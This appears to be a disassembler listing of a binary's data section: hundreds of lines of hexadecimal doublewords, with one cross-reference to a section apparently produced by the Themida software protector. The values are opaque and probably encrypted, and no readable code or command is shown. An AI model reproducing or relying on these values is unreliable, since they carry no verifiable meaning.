		dd 32156628h, 32986971h, 0B9156688h, 34D20794h,	53F156B0h
		dd 3CEA68EEh, 1494707Fh, 3CE82463h, 8FCC60A3h, 3EFC97F7h
		dd 95156688h, 8C675ED7h, 98913301h, 600E3E4Ch, 32156232h
		dd 0BED3E744h, 3365BC6Dh
		dd 0BEFBE7C7h, 6865BCC7h, 53753524h, 3491697Ch,	3D156611h
		dd 32156606h, 0B71A0744h, 32156623h, 0A7A0EFEDh, 0CE134E8Ch
		dd 323ECAADh, 56FC9E22h, 0DBEA99EFh, 32156682h,	8D3A3370h
		dd 0B16FA3h, 0B945E37Ah, 0F6964294h, 23936940h,	0DB156622h
		dd 3215661Dh, 7263F305h, 0F0B4CC04h, 0F349BC0Ch, 188E322h
		dd 0B41A60A0h, 3215664Dh, 54F3EC42h, 0B4458890h, 31DDA7E9h
		dd 321DED4Bh, 0B41A6622h, 32156613h, 884707E8h,	73961273h
		dd 282A84A3h, 0B3573F20h, 0A83BEC4Ah, 68C54FA0h, 0F010B60Bh
		dd 0DB30FD2Fh, 32156698h, 0E82C3C96h, 81D89CAFh, 822E03DBh
		dd 30E7B1C3h, 3D05A685h, 321569A5h, 321F8F11h, 0A4BC6688h
		dd 6A93B49Bh, 93CA5D58h, 0BBECAE20h, 1A26FB15h,	35FC0642h
		dd 0D0156622h, 2A209C34h, 0F8944360h, 1BDCF46Eh, 32155B43h
		dd 0B11A6610h, 32156732h, 3207EA4Bh, 3FFC6622h,	0FB156611h
		dd 2E76B65Fh, 0E9FD9894h, 0E1B54FB4h, 89AE5890h, 0B71ADD33h
		dd 321567D2h, 321EEC2Dh, 54756611h, 0E094B003h,	61B10413h
		dd 33956943h, 0CB156611h, 684E0ED9h, 3E9E2F2Dh,	36D1E706h
		dd 0B3156611h, 6B13B449h, 31E4E75Ah, 0B340C45Eh, 0ADF7B4D0h
		dd 6B1BEF45h, 321569ADh, 0A7B5FD22h, 0B41DEF3Ah, 85B361DEh
		dd 0B6177CF6h, 3211D975h, 0CC146611h, 0B3315A03h, 32156280h
		dd 321E8F22h, 0D8106611h, 512FBE3h, 0E74B9FC8h,	0A7A0EFC0h
		dd 3D134E15h, 32156707h, 0AF9E9344h, 343D55E3h,	4DAA9F71h
		dd 532FAA91h, 3E9E55BBh, 36D1E706h, 0CA156611h,	32118A09h
		dd 369C6644h, 1611E706h, 573E7FF2h, 0D1FFE7D2h,	52704D5Dh
		dd 53E091A9h, 197D9A71h, 0BB1566D1h, 524D4250h,	0CFBE744h
		dd 35FC07FDh, 6B156688h, 0C1095272h, 0B73E43C2h, 343D4B4Ch
		dd 0DBEDEDE8h, 32156654h, 0CBD66E3Eh, 893F3D0Ah, 0D161E454h
		dd 0A8012F92h, 3E976943h, 3D156611h, 32156004h,	32956944h
		dd 0F3156622h, 0BD1A64F1h, 3215669Eh, 321577ADh, 0E871E422h
		dd 7A15E0DBh, 5F237676h, 0B1232816h, 0B71602D4h, 343D4EF4h
		dd 321FE587h, 37FC6644h, 62156622h, 0A218CDC2h,	0F42496B9h
		dd 0DBE99675h, 3215662Ah, 81C882C0h, 54FB56D2h,	0CB389AE9h
		dd 3357935Fh, 4EAC37D9h, 0B331DCB3h, 0F6A8E5ADh, 6BDD67C3h
		dd 1651EFE4h, 321B8F94h, 0FE1C6644h, 0B8B6C930h, 0D6B9464Fh
		dd 0E9A1F86h, 321B8F25h, 5B7C6622h, 0A93D5EA8h,	4CB3EA46h
		dd 0AA9D054h, 3217BECBh, 0BB409F11h, 36D0E76Dh,	0B3156644h
		dd 321562CFh, 1639E111h, 1619EFD4h, 0D49C30B1h,	3211A0A3h
		dd 0DC966611h, 1621E18Ch, 1601EF18h, 3C9C6942h,	0DB156611h
		dd 32156681h, 81E1AFBh,	0A5AD4A37h, 309A6901h, 0B9156688h
		dd 0FB2407B3h, 349669DBh, 52156611h, 0CB14B608h, 0E780ED25h
		dd 0CA134E2Fh, 0B61A642Ah, 3215662Bh, 32156FADh, 5E339E22h
		dd 0A616FD9Ah, 0DE94225Eh, 32156640h, 8D315AABh, 32156615h
		dd 3D4A9C89h, 321573C8h, 8D1A0622h, 321E8FD6h, 5F0B6688h
		dd 0F936D22Eh, 26B15D4Bh, 8A450726h, 0CDEA9977h, 524DA76Dh
		dd 321568CBh, 380E011h,	0B75C6E8h, 3888F2C4h, 53799ADBh
		dd 2DB4EB2Ah, 0B71A60A0h, 0CDEA99D0h, 41AF34D7h, 0B319BE45h
		dd 7313C66Ah, 30F7A726h, 303ADD71h, 0E81C003Ah,	0C9E7E7D3h
		dd 0B3549A74h, 925608E0h, 0F0E7E76Ah, 0BBB711EDh, 0B31A3C94h
		dd 32156623h, 5C98EBE8h, 0C7134EC7h, 0BBE087BBh, 1A010FAFh
		dd 0B81A0617h, 32156684h, 321560ACh, 4B2BAF22h,	6DC239CEh
		dd 0CD74AE03h, 0B14F4270h, 0B37562E6h, 2E566CD6h, 6EA07DEh
		dd 0F6963F60h, 0B9730626h, 32078FE9h, 0DFB06688h, 84452BF4h
		dd 0CFE1E5DEh, 9F5922E1h, 0AF59611h, 3F200E25h,	69C6622h
		dd 3A9B6935h, 3D156688h, 321564C1h, 0B9740622h,	1A26A78Ch
		dd 34FC068Eh, 0C5156644h, 0B9F4EC4Eh, 53E2ED6Fh, 8B445577h
		dd 54C81018h, 36312A0Bh, 0F3943F48h, 54C810D4h,	3D5AD124h
		dd 321562ADh, 0F8AF0011h, 0B79E07E6h, 343D722Dh, 3212E12Dh
		dd 0B21A6611h, 32156689h, 0DBF5B7B1h, 32156633h, 1922DA52h
		dd 7BC0D96Bh, 3912C76Dh, 0CFB49945h, 0BB90658Ah, 0DB134E8Fh
		dd 32156657h, 0B970FC6Ch, 8FC4FCC3h, 9EEBCA5Ah,	5F03B3EEh
		dd 391DC10h, 26FC06E7h,	0DB156688h, 0CB0521E5h,	99E250B8h
		dd 0A4D316E0h, 63C400A6h, 54CC8D3Ch, 6274B1A9h,	69E3E47h
		dd 36D1E5ACh, 369C6924h, 54156622h, 0DB5F98AAh,	32156683h
		dd 415529Eh, 40CC82BFh,	53A05204h, 0B375CBEEh, 771832ACh
		dd 319E6967h, 0B2156611h, 0F374B755h, 3DED64A4h, 321574A0h
		dd 32188F11h, 0B03E6688h, 4EE3ED3Dh, 310BA232h,	31297BF8h
		dd 1A3D830Dh, 0B1459E42h, 69C62CEh, 0DB4B3E35h,	32156698h
		dd 3232C3BBh, 55D9AA41h, 0A34518F7h, 598D6A7Ah,	0C4AC06E9h
		dd 0B30BF75Bh, 4D7CA9D8h, 37EC078Eh, 7F4230A6h,	8F40AE23h
		dd 7F4230F3h, 52488EA1h, 321560ACh, 7288222h, 3D345850h
		dd 3215660Bh, 0B9753944h, 76AD00FDh, 0CD740714h, 0B14B42BCh
		dd 3D756280h, 321564A1h, 8C4F3111h, 39B9988Dh, 8BA8E525h
		dd 33134E35h, 32CEE21Eh, 0BE1A6688h, 32156643h,	3214E82Dh
		dd 52ED6611h, 0A90EB537h, 321B8E47h, 36906622h,	570FC139h
		dd 0B0656B83h, 0D484BA04h, 212FB39Ch, 9743F3Fh,	1A38B305h
		dd 90916942h, 0DB156622h, 32156600h, 0CCAA809Eh, 93D3F399h
		dd 0A3CBD924h, 0F5F8D481h, 7F985D92h, 3D134E53h, 3215E6A6h
		dd 0B9730611h, 18E7E772h, 537F3168h, 2248EB19h,	0B61A6039h
		dd 321566E1h, 320CE74Bh, 26FC6622h, 57156611h, 78CCAA36h
		dd 0F058DCF1h, 0CE5D3880h, 416D6FBCh, 0BFE6FFA6h, 1DC94AD9h
		dd 32068F24h, 5DE56611h, 0CEFAF031h, 4BEF77CEh,	0F1980B71h
		dd 1B2B9FBDh, 52C69950h, 53ADBAC4h, 0BBD4EF73h,	1619EDDEh
		dd 3211A209h, 0BBE96644h, 1A3027A7h, 0DBEC9317h, 32157964h
		dd 82BDDC24h, 80A340E2h, 1E88EB70h, 0C7134954h,	0B375B5BBh
		dd 6A1B20ECh, 53E2EC78h, 25ACDB0Bh, 3D15606Ch, 321551A6h
		dd 88730611h, 3DAAF04Eh, 5349F811h, 129CE319h, 0B61A6039h
		dd 32156692h, 32156EADh, 906CAD22h, 0C74BFF32h,	77905DD6h
		dd 3D134E6Dh, 321561A7h, 52FC9F11h, 0CEEA9977h,	2AA4E37Fh
		dd 0B71A600Ah, 32156678h, 5D39DFE8h, 3DFC2867h,	0B8156622h
		dd 186B06FEh, 3ADB3908h, 0B1278A91h, 0B174CA30h, 1A3173ACh
		dd 0B61A668Eh, 32156651h, 0EC2BDC42h, 0B174374Fh, 1A13DF35h
		dd 0B61A6642h, 3215660Fh, 4F90EBE4h, 521349C1h,	32156BADh
		dd 0C886CF22h, 0E0BB7B82h, 87166C37h, 83ABF3BDh, 53467CFAh
		dd 3214EF1Eh, 0DBEC6688h, 0CDEA98AFh, 83905DDEh, 3D134E09h
		dd 0CDEBB80Ch, 389669BBh, 52156622h, 8CECED77h,	7788FC01h
		dd 69A8E525h, 3313495Dh, 325FE31Eh, 3FFC6688h, 9D156644h
		dd 365642ABh, 0B901EECFh, 0CEF4930Bh, 4D9AE37Fh, 0B71A600Dh
		dd 3215663Dh, 0D690EB7Dh, 0CE153F4Fh, 0CDEBDDCBh, 21FC06EEh
		dd 0DD156688h, 0EDD53F60h, 0AC9960FEh, 84096FB8h, 2C048028h
		dd 0B3731302h, 53BC6AD0h, 3D759920h, 78A1B73Fh,	13A8E525h
		dd 32134E35h, 2312E21Eh, 0BA1A6688h, 32156645h,	49905DDAh
		dd 3D13496Eh, 3215590Dh, 32108F44h, 0B5D26622h,	0B98D1C9Eh
		dd 1A0A930Dh, 321B8F42h, 961B6622h, 689E0BA8h, 641D5F10h
		dd 7720BF05h, 0CDEADD71h
		dd 0ED3C99EEh, 3F9769D3h, 52156644h, 9F82B09Ch,	71CFE74Eh
		dd 534095CFh, 4D96E37Fh, 0B71A600Dh, 3215660Dh,	1B90ED74h
		dd 0C7134E45h, 16119975h, 0B3315A9Ah, 3215624Ch, 339E6944h
		dd 0C7156622h, 4D6AE32Ah, 0B71A60A7h, 3215667Bh, 544FD142h
		dd 0A79D8590h, 32198FE9h, 31156644h, 20E05CC9h,	0A86FE70Fh
		dd 0B79E6061h, 343D7891h, 321577CBh, 60B96011h,	0F20843DFh
		dd 0C9819037h, 8E521B9Dh, 0F524634Ah, 0F5249EB9h, 9E0F104h
		dd 1D6AE1A7h, 0A906917h, 3D156688h, 32156EC5h, 30906922h
		dd 52156611h, 65ED06E9h, 40D6E722h, 0B9743F72h,	1A1A4B94h
		dd 321D8F8Eh, 0DC326644h, 0E659DB91h, 8F404B71h, 0CDEA9977h
		dd 5248896Dh, 97498A8h,	1D6AED94h, 1290698Eh, 3D156644h
		dd 321567A6h, 0B79E9E11h, 343D6BD9h, 0DB940024h, 0FAA46C97h
		dd 33AF3470h, 33156688h, 9E93C93h, 1D6AE9A7h, 61906917h
		dd 3D156688h, 32157EC1h, 32068F22h, 72156611h, 0D5252FE2h
		dd 0DC5A2C7Fh, 6F6A2CE9h, 68DC93CAh, 32078F86h,	3C476644h
		dd 0B5B87CFDh, 3F706A64h, 230B0412h, 0E2DD0FE2h, 2BCCE3A9h
		dd 3BFC6039h, 7F156688h, 8C1B85E8h, 887F7505h, 0CDEADE41h
		dd 0F53C9977h, 0B72E931Ch, 343A19B1h, 3267E31Eh, 0B3756688h
		dd 9E4F159Dh, 269E6912h, 0DB156611h, 32156687h,	9E66D085h
		dd 757205EBh, 8A1DDD97h, 537E4F4Bh, 2668E3CFh, 0B275600Ah
		dd 89735BE7h, 6174D0E4h, 321567FFh, 69CA6722h, 0F19E0071h
		dd 32157461h, 782D5D44h, 0D44DF40Ch, 15C3AF08h,	0E856F4F3h
		dd 530B5E1Bh, 3203EE2Dh, 23FC6611h, 1A156688h, 0B118224Bh
		dd 0FCDA6A75h, 0D6A68129h, 271DE8EFh, 4D82E37Fh, 0B71A600Dh
		dd 3215662Fh, 32156E61h, 0E3ACA644h, 0D3F35660h, 8973061Eh
		dd 0CE75B1E5h, 0B79E0725h, 343D70BBh, 3212EF1Eh, 0B91A6688h
		dd 32156645h, 0B3C2E1DBh, 0CDEA99FBh, 52C2E177h, 68CAED12h
		dd 6BC8529Ah, 0B72E0767h, 343A1913h, 3259E34Bh,	20FC6622h
		dd 0CF156611h, 0EC8043D7h, 0E5EC612Bh, 71B3FD62h, 5A87B81Fh
		dd 0F90ED04h, 3D134E52h, 321561A2h, 33926911h, 0CB156688h
		dd 0BAC37BDh, 7B651F66h, 76228F90h, 0FD1416F1h,	3992691Dh
		dd 52156622h, 3DABA191h, 32156606h, 0B72E0744h,	343A19BDh
		dd 3251E31Eh, 0BF1A6688h, 32156643h, 3D740642h,	5274B7A6h
		dd 7BF39009h, 0E994511Ah, 5B42A3A1h, 1F90ED70h,	0DB134E9Ch
		dd 3215664Dh, 0C833F871h, 2B5B79B9h, 33AB3069h,	33156644h
		dd 35FC38D5h, 3B156611h, 56A5A8BFh, 0B72E9094h,	343A1985h
		dd 3234E31Eh, 54756688h, 8973A0CFh, 3D74738Bh, 32156794h
		dd 0B79E9F88h, 343D7765h, 0CDAF34DAh, 1BEA99EEh, 9E93C5Fh
		dd 1D6AC5C1h, 4C906924h, 3D156611h, 3215730Eh, 3D916944h
		dd 0DB156622h, 3215661Bh, 4C60CFFAh, 0AA6D7EA1h, 8F96F9E5h
		dd 343D7604h, 64906988h, 52156644h, 321568CBh, 0BFCC0F11h
		dd 0CC633DFFh, 0CC391572h, 0DB003D0Eh, 3215661Fh, 0FDD838E9h
		dd 0DB03AF1Dh, 7A3ACE48h, 0B974F506h, 1A398B0Dh, 321F8F42h
		dd 0C2BD6622h, 0C744A248h, 64C2798Fh, 0CDEADC16h, 0E53C99DDh
		dd 321E8F4Bh, 0F23C6688h, 0FD56FBCBh, 0FDD22E5Dh, 0BA8E5C2h
		dd 32134E92h, 3251E24Bh, 9ED6622h, 1D954994h, 590698Eh
		dd 0DB156644h, 3215662Ah, 0CBF59124h, 0E7033C2h, 2628E3CFh
		dd 0B275600Ah, 0B37387F7h, 53AA7C43h, 0CDEADE14h, 0F53C99DDh
		dd 32198F49h, 388C6688h, 95B42F99h, 1C6DF8EFh, 8F96AF81h
		dd 343D4769h, 37916944h, 0CB156620h, 321561F8h,	3D317388h
		dd 1A27DD44h, 1FB8DBA1h, 3D156039h, 32148D0Ch, 321F8F44h
		dd 3F66622h, 73AEE3D7h,	48739F4Ch, 0B206E37Fh, 0B71A600Dh
		dd 32156624h, 6B90ED74h, 52134E5Ch, 32156ECBh, 5E697411h
		dd 0E37B711h, 0E8A269F1h, 42AC3743h, 0B33F4615h, 0EDEEE949h
		dd 6BDA4F91h, 32156ECBh, 53D22C11h, 0EBF98C44h,	11905D6Eh
		dd 3D1349A2h, 32155394h, 3E956988h, 3D156644h, 321560A3h
		dd 32976911h, 52156688h, 321560ACh, 0F696EA22h,	0C70EC0F2h
		dd 0C19E00D3h, 0FF90ED25h, 0CA134E33h, 0CDEADF40h, 0FD3C9977h
		dd 0B72E9A1Dh, 343AE635h, 3238E31Eh, 37FC6688h,	0CC156644h
		dd 0FB55D3FAh, 3214ED1Eh, 0B9E06688h, 1A060BC1h, 8D1A0624h
		dd 627493D3h, 32156730h, 6AD26744h, 3214EB2Dh, 9E96611h
		dd 1D95410Dh, 75906942h, 52156622h, 0DBA2D371h,	32156681h
		dd 90A74916h, 338DF44Ch, 0B97407F3h, 1A18770Dh,	32188F42h
		dd 0E8176622h, 4CA8E3A9h, 4CD196F5h, 6359EEE2h,	3215679Bh
		dd 6BDA6711h, 32156B61h, 0FC540344h, 35772B78h,	917C4563h
		dd 0B72E5ED4h, 343AE66Fh, 3248E32Dh, 22FC6611h,	96156688h
		dd 0AD425A60h, 93F7A096h, 0ED77931Bh, 0B9F1EE46h, 1A03B7C1h
		dd 2F966924h, 52156611h, 32157261h, 44B80544h, 6E58626Ah
		dd 0E8733F33h, 0EAD17CACh, 58D4B04Fh, 53740612h, 3214DB44h
		dd 0DD146688h, 22906919h, 0DB156622h, 3215661Ah, 0BFB68E9Eh
		dd 47B78EDh, 97F0C41h, 1D957D94h, 1D90698Eh, 52156644h
		dd 0D4DAE744h, 0F99E00ACh, 0E790EDE9h, 0DB134E76h, 3215662Ah
		dd 90E3FFDAh, 71791842h, 3214D812h, 0C5146622h,	6144064Fh
		dd 8D1A3CD7h, 0B72E07BFh, 343AE63Dh, 320BE31Eh,	3AFC6688h
		dd 51156644h, 0C510A3A3h, 0B9AA51A1h, 1A027F0Dh, 88479342h
		dd 0CDEA99DDh, 0CB4FB138h, 1FB8DB0Bh, 3D15606Ch, 321FBAA6h
		dd 32188F11h, 5FBD6688h, 0AD720D00h, 7CBC7B66h,	3DF03F12h
dword_5C5068	dd 32156A06h, 32128F44h, 0F6876622h, 71A96981h,	99905D54h
					; DATA XREF: Themida_:00568CAAo
		dd 3D13493Bh, 32152BA7h, 3A926911h, 3D156688h, 321564CFh
		dd 0B9740622h, 1A114F94h, 3890698Eh, 52156644h,	0B3C5E744h
		dd 0ED9E0021h, 0F3AE35E9h, 0F3428D18h, 0F19464C1h, 447E0B62h
		dd 359EA509h, 0C1944FEAh, 322C71DFh, 0DB4EB938h, 3215668Eh
		dd 27B8362Eh, 0B72E0967h, 343AE62Eh, 324FE387h,	0B71A6644h
		dd 3215662Ch, 87C6E771h, 3D0BEE1Ch, 321566C4h, 37FC0722h
		dd 0C9156611h, 6F2ED6C3h, 37CCE3CFh, 5475600Ah,	0DB8C71ABh
		dd 32156683h, 0CE094998h, 3CD4F403h, 5343321Dh,	3214DDDBh
		dd 0ED146644h, 32078F79h, 0D4C66611h, 878BA61Ah, 1E8F29F2h
		dd 4F6E0E95h, 8DB061BAh, 4DBAE3B3h, 0B71A606Bh,	32156613h
		dd 349E6971h, 3D156688h, 321566C8h, 0B79E0722h,	343D6ADCh
		dd 3218E487h, 0B3756644h, 624D0EDh, 2CA0DF63h, 61747A90h
		dd 321567FFh, 69CA6722h, 81905DE4h, 3D1349F7h, 32153FC1h
		dd 339C6922h, 0CA156611h, 32156061h, 4B633A44h,	0B93C5CC5h
		dd 1A0F3394h, 0DA94068Eh, 28F9C177h, 8B4407DAh,	0CDEA99EEh
		dd 3D4CA9A1h, 32156ECFh, 30916922h, 52156611h, 0B21A06E9h
		dd 32156645h, 32068FDAh, 5E1E6611h, 0D5DDC0B6h,	94CCA647h
		dd 3E77203h, 0A83C8656h, 0B72E070Eh, 343A19F3h,	323FE32Dh
		dd 3D756611h, 3DFCB937h, 0C156644h, 15B20D26h, 6C086563h
		dd 1AB1E9D9h, 0B974C703h, 1A330FA7h, 8B449E17h,	0CDEA9977h
		dd 0CE4CA96Dh, 4DAEE319h, 0B71A603Eh, 321566D8h, 0F1AA6924h
		dd 0DB940071h, 534ECF0Ch, 2200DB0Bh, 3D15606Ch,	321551A7h
		dd 0B79E9A11h, 343D6619h, 0B34293B8h, 32144226h, 0CE4A6611h
		dd 320BE487h, 0B8756644h, 32018ED1h, 0AF4D6611h, 0CCBC4B2Eh
		dd 0BC3CEAC3h, 0AF8A1038h, 90143E02h, 534A8C93h, 4DAAE37Fh
		dd 0B71A600Dh, 32156624h, 0B97306E8h, 3290699Ah, 53156622h
		dd 5353B991h, 14C8E303h, 0DBED606Ch, 3215662Dh,	0CF470417h
		dd 73F28006h, 4F81D3Ch,	60861942h, 321567ABh, 68C26788h
		dd 0F1905DBDh, 3D13495Dh, 32153B94h, 3DFC9388h,	0B8156644h
		dd 0BF43BAEDh, 8AFCC2AFh, 0BC652F22h, 8F969007h, 343D7637h
		dd 9906911h, 52156688h,	1DAD0024h, 33DFDE08h, 0C77461FBh
		dd 8790EDE9h, 3D134E76h, 321567A8h, 8C439311h, 32156689h
		dd 0DB4B9145h, 32156630h, 6B3C773Ah, 6C2F0C1Bh,	671C0694h
		dd 4A833E00h, 0B72ECB67h, 343A194Fh, 324EE34Bh,	3CFC6622h
		dd 88156611h, 170F8111h, 2E1F98A6h, 8AF3AF2Bh, 26FD0610h
		dd 51156688h, 1C228FC9h, 52CA9217h, 3866F25Fh, 5777BF7h
		dd 3DBE6145h, 524EAF9Dh, 32058FE9h, 33B96688h, 0C82F28EAh
		dd 6324F276h, 0EC3068C9h, 5374E7F7h, 3318E3CFh,	60E0600Ah
		dd 321567ABh, 68C26788h, 0F9905DBCh, 3D13495Dh,	32153194h
		dd 35906988h, 3D156644h, 321567A1h, 0B79E9F11h,	343D4F09h
		dd 32156BADh, 0D9B81022h, 196779ADh, 7F9BF454h,	8A45390Ah
		dd 68B75C6Bh, 116CE734h, 33EA6B9Bh, 0DAC4232Eh,	87099817h
		dd 6AD2673Ah, 32157561h, 0A6E81644h, 0EED3E0DAh, 0DD28602Eh
		dd 0BCA37495h, 39A194ADh, 4DC6E319h, 0B71A603Eh, 321566B3h
		dd 321FE74Bh, 37FC6622h, 0C5156611h, 99DA492Dh,	2200DBC7h
		dd 3D15600Ah, 32157894h, 35976988h, 3D156644h, 321567A8h
		dd 0B79E9E11h, 343D577Dh, 33A833B1h, 33156622h,	9E03BFEh
		dd 1D6AA90Dh, 40906942h, 52156622h, 76C793A8h, 0FC9E00B7h
		dd 2B986925h, 52156622h, 3215EC1Eh, 3EFC6688h, 7F156644h
		dd 5E6FED6Fh, 0A920696Eh, 5311AB8Dh, 2200DBC7h,	3D15600Ah
		dd 32155A94h, 3E946988h, 3D156644h, 321560AEh, 32926911h
		dd 0B9156688h, 1A03DFC1h, 8C730624h, 0BF1A1AEAh, 3215668Bh
		dd 53D3ED22h, 3214DF73h, 0FD146611h, 0B37306D1h, 54A572ABh
		dd 5315039Ah, 0E5905DE4h, 3D1349F7h, 32150FC1h,	321E8F22h
		dd 7F746611h, 0A79F8E7Fh, 0EA5E0509h, 32138F5Ah, 0A4366611h
		dd 0B4E11029h, 1CE0E3CFh, 21FC600Ah, 53156611h,	56F3A0Dh
		dd 0A974FACDh, 0CDAECDB3h, 5BF49E44h, 8847CE69h, 32156645h
		dd 0DB4FB123h, 3215661Bh, 6A3B96AFh, 0C4818556h, 21FCFC55h
		dd 0AD156611h, 95DEC7CDh, 57092003h, 249DE63Fh,	0B5F5A34Bh
		dd 0B72E0E06h, 343A199Fh, 3251E32Dh, 26FC6611h,	0AF156688h
		dd 7B4F2467h, 9D389E2h,	91EBCB0Ah, 0BDE08F43h, 0B9BAEF3Ch
		dd 1A167FA7h, 35986917h, 3D156688h, 321567C6h, 0ED929322h
		dd 3214A590h, 0ED926688h, 265ADE24h, 54752959h,	0CBEBB9A8h
		dd 0B72E07E9h, 343A199Bh, 3226E32Dh, 34FC6611h,	0A9156688h
		dd 0B75DABC5h, 4390EDAFh, 0CA134E09h, 32156A61h, 9F216B44h
		dd 72E18E13h, 0AB2E4ACFh, 0CDAD360Eh, 1BEA99BBh, 0B51A3EE5h
		dd 32156610h, 0D1905D70h, 3D13493Bh, 321556A7h,	32048F11h
		dd 0D5EE6688h, 0D3B63A18h, 0DE120A00h, 0D41FEE55h, 0B9FB5773h
		dd 1A31BFC1h, 8F409A24h, 32156610h, 0DB488989h,	32156641h
		dd 5D091625h, 0D5905D24h, 3D1349F7h, 321557C1h,	321D8F22h
		dd 0A6856611h, 1150F725h, 0B79EE4EEh, 343D645Fh, 321BE81Eh
		dd 3BFC6688h, 0B5156644h, 5C6D38F0h, 0E52C8739h, 0CDEADDDBh
		dd 0ED3C99BBh, 0B72E9A79h, 343A19FAh, 3244E387h, 0B9ED6644h
		dd 1A133FA7h, 3E9A6917h, 52156688h, 0A79A00FAh,	8485DC0Eh
		dd 3D74495Dh, 3215610Ah, 0B3730644h, 538A94F3h,	3214DB44h
		dd 0DD146688h, 0BC1A0619h, 32156635h, 321577F9h, 0CF52C288h
		dd 666B895h, 0A1399099h, 351CC47Eh, 544DE3EBh, 974ADCFh
		dd 1D6A89A7h, 0B906917h, 52156688h, 32156EADh, 0AB482322h
		dd 0E6BF8311h, 0F5AA691Eh, 6B90ED25h, 3D134E02h, 32156B94h
		dd 0FCAD0688h, 0B31A1BE1h, 0AA5A06C4h, 0CD42074Bh, 0E9E428Ch
		dd 36D1E760h, 0C7156622h, 4DE6E32Ah, 0B71A60A7h, 32156605h
		dd 0C0A26942h, 3B90ED70h, 3D134E8Dh, 32156FCDh,	8D730622h
		dd 0B973D657h, 88470747h, 32156645h, 0DB4FB123h, 32156614h
		dd 871D48A8h, 0EB9E06B4h, 32156DCBh, 60336011h,	0AE4144B1h
		dd 0C89EAB06h, 17905D43h, 3D134E36h, 32152C0Dh,	0B79E9E44h
		dd 343D6497h, 3C9869EDh, 0DB156688h, 3215664Dh,	561DC1D4h
		dd 3B193FB9h, 69AD36D1h, 0C5073054h, 36F5A7FAh,	0E47EAB3Ch
		dd 3AFDA78Ch, 567630Ch,	0F53C9908h, 3E976949h, 3D156688h
		dd 321560CAh, 32906922h, 9156611h, 1D6A910Dh, 0E906942h
		dd 0DB156622h, 3215661Eh, 389BFF3Bh, 0E9F2F648h, 998CD0D5h
		dd 0B9FBD4D2h, 1A217B0Dh, 8B449A42h, 0CDEA99DDh, 0DB4CA938h
		dd 3215669Bh, 3885BFA6h, 0D49E6F3Ch, 74134Bh, 0A42E756Eh
		dd 9DAB20Dh, 1D9555A7h,	0A2906917h, 0C7156688h,	0B22EDBC7h
		dd 3D15600Dh, 32155C94h, 37FD0688h, 3B156644h, 0A44D4477h
		dd 6BDDED77h, 2EB3DDDEh, 534F3071h, 25ACDBA1h, 3D156039h
		dd 3215380Ch, 229E6944h, 0DB156622h, 3215661Ah,	0D9351502h
		dd 4CC78165h, 0B912CF86h, 1A303B94h, 249D698Eh,	0DB156644h
		dd 32156633h, 582FB8B7h, 2A0E53h, 67472C20h, 9FE59A1Fh
		dd 0B9AD36A4h, 0C53A76D0h, 9561539Ch, 0F514B6CDh, 3D966949h
		dd 0DB156688h, 3215664Eh, 0E9114886h, 6E4DEE23h, 9E02CD7h
		dd 1D9551C1h, 0F1906924h, 3D156611h, 32157D07h,	0B41A0644h
		dd 32156622h, 32156BF9h
		dd 2EC58C88h, 0A5F4B88Bh, 5EEC7C31h, 534A1715h,	0B22EDB0Bh
		dd 3D15606Bh, 32152EA7h, 259A6911h, 0DB156688h,	32156656h
		dd 425E5DB4h, 27B57D81h, 1AA68D92h, 61DB9EC8h, 8F9699DAh
		dd 343D71A8h, 59916988h, 3D156644h, 32157EA9h, 32068F11h
		dd 0F3546688h, 0CF52067h, 70DDFD90h, 0E72B6B50h, 0A3DC3C4Ah
		dd 0B90EDADh, 52134E00h, 5CD6E747h, 6C5287E4h, 320CED4Bh
		dd 26FC6622h, 0D8156611h, 237414C5h, 0F9FC8FC3h, 0A883CC4Dh
		dd 520F6E4Ch, 53E0027Bh, 0CDEADF15h, 0FD3C99DDh, 3CFC0648h
		dd 0E3156688h, 0A2009076h, 0B5057354h, 9717B3EFh, 0B72E0704h
		dd 343A19BFh, 3257E32Dh, 0B71A6611h, 32156680h,	0EBAA6924h
		dd 53CAD92Dh, 3CCE39Ah,	0B37560A0h, 90282B87h, 23DBE757h
		dd 53365C15h, 161199DFh, 0B3315ACFh, 321562E6h,	321B8F11h
		dd 0D92F6688h, 0E0215AD7h, 917867FFh, 3355FD1h,	4DEAE3B3h
		dd 0B71A606Bh, 32156665h, 3212E11Eh, 0B2756688h, 0B6A5B589h
		dd 4F90ED43h, 0DB134E03h, 32156699h, 11DC0AC8h,	0AB6E62ECh
		dd 0AECE857h, 5A112360h, 33AF34DAh, 33156622h, 22FC3CC6h
		dd 16156688h, 681912F1h, 53F2A0D1h, 296E78FDh, 976B065h
		dd 1D9565C1h, 7C906924h, 52156611h, 7060DEEEh, 32048F16h
		dd 0AF6C6622h, 2DD5FF8Ch, 0F69E919Eh, 8284986Fh, 6A575AE3h
		dd 0B79E9E70h, 343D79F9h, 321561ADh, 69ED8922h,	9AA52440h
		dd 32156861h, 85AF7144h, 0B8397934h, 5CB944B0h,	6247E13Ch
		dd 0CDEA99FCh, 6AD24FDDh, 35905DE9h, 3D134908h,	321556C1h
		dd 321E8F22h, 0C85A6611h, 9F92739Fh, 0FC204EF6h, 5B90ED24h
		dd 0DB134E08h, 3215668Dh, 2B65AC10h, 36EA3141h,	1629ED35h
		dd 5211A20Bh, 0CEDBED22h, 39905D43h, 3D134991h,	3215050Dh
		dd 32068F44h, 90E86622h, 3B2C36Eh, 5451F46Ah, 6DC02BDBh
		dd 2B6F20EFh, 0BB90ED64h, 52134EA7h, 8CD8DF22h,	6474ACA9h
		dd 761565AFh, 31FBA79Ah, 50EAA8C5h, 0FC9407D4h,	3EE6600Ch
		dd 0ECE2B87Fh, 0D51588C5h, 0C53C09DDh, 3BFD064Fh, 0CC156688h
		dd 0DA1366A0h, 50257851h, 321563F8h, 0F14C1F88h, 534E905Ch
		dd 0B21AE319h, 0B71A603Eh, 321566EDh, 3204E14Bh, 3EFC6622h
		dd 0D156611h, 0A3AA5983h, 0FDCA0FC3h, 0B9844879h, 1A114F94h
		dd 32018F8Eh, 3ABC6644h, 4CD48484h, 7BA20588h, 0C0CEA2B3h
		dd 3EE8FE1Ah, 8847A64Fh, 24A35C17h, 0B3118449h,	0D6783F86h
		dd 74E7E728h, 1B9CD1E3h, 0BD1A3C5Fh, 32156654h,	32156DCBh
		dd 0AB752611h, 0D780F4A5h, 385A4069h, 3DEA6DD7h, 32154395h
		dd 32058F88h, 10706644h, 48DD25EAh, 97814E1Ah, 38AC9DA6h
		dd 6FFC50B9h, 0C7EA99CFh, 3211E11Eh, 65756688h,	0B72E071Bh
		dd 343D689Fh, 3228E31Eh, 0BE1A6688h, 32156645h,	0FC90EBDBh
